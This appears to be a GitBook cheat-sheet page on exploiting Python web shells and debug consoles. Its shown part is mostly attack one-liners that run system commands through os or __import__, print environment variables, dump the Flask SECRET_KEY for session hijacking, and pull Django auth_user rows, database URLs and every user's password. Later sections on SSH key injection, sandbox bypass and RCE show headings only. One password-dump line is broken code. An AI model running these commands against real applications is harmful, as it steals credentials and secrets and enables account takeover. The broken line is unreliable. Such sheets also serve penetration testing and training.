Page cover
githubEdit

pythonExploiting Python Web Shells

chevron-rightEnumerate the environmenthashtag
circle-info

globals

Reveals Available Objects & Modules
print(globals().keys())
print(sorted(list(globals().keys())))
print(globals())
  • If os or subprocess are available, try to run commands directly

os.system("id")
  • If not, try accessing it via builtins

__import__('os').system("id")
  • Check also environment variables

import os
print(os.environ)
  • Check the attributes of what is available:

print(dir(User))
circle-info

locals

Same but for the local scope
locals().keys()
circle-info

builtins

Check available built-in functions
__builtins__.__dict__
circle-info

Identify Object Types

sessions

Identifies the session Object Type
print(type(session), session)
Inspect session internals (cookies, tokens)
print(session.__dict__)
Extract session data
print(session._get_current_object())
Dump SECRET_KEY (for session hijacking)
print(app.config)
print(app.config['SECRET_KEY'])

db

Identifies the database Object type
print(type(db), dir(db))
List methods/attributes
dir(db)
  • There is a Django Admin Shell?

Check if Django ORM is available
print(type(db))
Dump Authorized users
print(db.connection.cursor().execute("SELECT * FROM auth_user;").fetchall())
Dump all table names
print(db.connection.cursor().execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall())
  • If db is SQLAlchemy?

Database Credential Extraction
print(db.engine.url)
  • If query and User are available:

See how many users there are in the database
print(User.query.all())
Get the username and password for all users
print('\n'.join(f"{u.username}:{u.password]}" for u in users))
chevron-rightEnumerate the systemhashtag
circle-info

Try to inject SSH keys

chevron-rightBypass Sandboxhashtag
circle-info

Pass modules as strings:

circle-info

Works if builtins is accessible - common in debug consoles

circle-info

Find usable classes - If __builtins__ is restricted

circle-info

Using catch_warnings - Common in Python 3

circle-info

subprocess.Popen - If os is Blocked

circle-info

importlib Bypass - If import is Restricted

circle-info

For Older Python sandboxes - Python 2.x, some 3.x

chevron-rightExploit sessionshashtag
circle-info

Stealing Flask Session Cookies

  • If session is a LocalProxy, you can extract its real data.

  • If the secret key is exposed you can forge malicious sessions.

circle-info

Modifying Django Sessions

chevron-rightLook for RCEhashtag
circle-info

Use the subprocess.check_output() function instead to execute code and save it to a variable:

Last updated